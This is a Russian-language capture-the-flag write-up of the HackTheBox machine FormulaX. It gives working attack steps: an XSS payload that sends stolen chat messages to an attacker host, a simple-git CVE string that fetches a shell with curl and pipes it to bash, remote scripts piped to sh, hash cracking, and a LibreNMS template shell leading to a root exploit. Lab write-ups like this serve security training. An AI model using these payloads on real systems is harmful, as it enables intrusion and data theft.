Автор: @FaLLenSkiLL

Ссылка на тачку HTB:

https://app.hackthebox.com/machines/FormulaX

Разведка

Сканим порты. Видим только SSH и вебчик

nmap 10.10.11.6 -p 22,80 -sC -sV

Заходим на 80 порт

Пробуем зарегистрироваться

Видим жалкую пародию неповторимый оригинал ChatGPT

Пробуем найти какие-нибудь директории

gobuster dir -u http://10.10.11.6/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -c "authorization=Bearer%20TOKEN"

Из интересного видим только форму отправки сообщений админу

Get www-data

Проверяем наличие XSS

XSS присутствует, ура

Пишем payload

const script = document.createElement('script');
script.src = '/socket.io/socket.io.js';
document.head.appendChild(script);
script.addEventListener('load', function() {
const res = axios.get(`/user/api/chat`);
const socket = io('/',{withCredentials: true});
socket.on('message', (my_message) => {
fetch("http://10.10.XX.XX:4444/?d=" + btoa(my_message))
});
socket.emit('client_message', 'history');
});
 

Запускаем php сервер, с которого можно будет скачать наш payload

Эксплуатируем XSS

Декодируем полученный base64

Добавляем домен в /etc/hosts

клац

echo "10.10.11.6 chatbot.htb" | sudo tee -a /etc/hosts

клац

echo "10.10.11.6 dev.git.auto.update.chatbot.htb" | sudo tee -a /etc/hosts

Заходим на новый поддомен

В коде страницы видно, что это simple-git v3.14

На который, кстати, есть CVE

Эксплуатируем CVE

ext::sh -c curl% http://10.10.XX.XX:8001/shell|bash

Получаем shell www-data

User flag

Я сначала по базе запустил linpeas.sh

sudo python3 -m http.server 8000 #Host

curl 10.10.XX.XX:8000/linpeas.sh | sh #Victim

Таким образом можно узнать, что на хосте запущена mongo db

mongo --shell

Немного покопавшись в бдшке, получаем хэш пользователя frank_dorky

Брутим хэш

hashcat -m 3200 hash /usr/share/wordlists/rockyou.txt

Получаем пароль

Заходим на учетку по ssh

Root flag

Проверим активные порты

3000 порт выглядит подозрительно. Пробросим его себе на тачку

ssh -L 3000:127.0.0.1:3000 [email protected]

Видим LibreNMS

Переходим в /opt/librenms и создаем нового пользователя

Попадаем в панель управления

Чтобы мы могли создавать свои шаблоны, нужно пофиксить ошибку в Webserver

Для этого делаем еще одну запись в /etc/hosts

Клац

echo "127.0.0.1 librenms.com" | sudo tee -a /etc/hosts

Заходим на сайт по доменному имени

Ошибок нет, теперь можем создавать шаблоны

Пихаем shell

В файле .env находим креды от пользователя kai_relay

Подключаемся по ssh

ssh [email protected]

Воспользуемся общедоступным эксплоитом

https://www.exploit-db.com/exploits/46544

Создаем файл /tmp/shell.sh с шеллом

Не забываем сделать его исполняемым

chmod +x /tmp/shell.sh

Запускаем http сервер, с которого можно будет скачать наш shell

После этого на захваченной тачке создаем exploit.py, который мы взяли с exploit-db и запускаем его, с указанием цели

Получаем шелл

Лутаем root флаг

cd /root

cat root.txt

Tags:

#hackthebox#hard#writeup#season4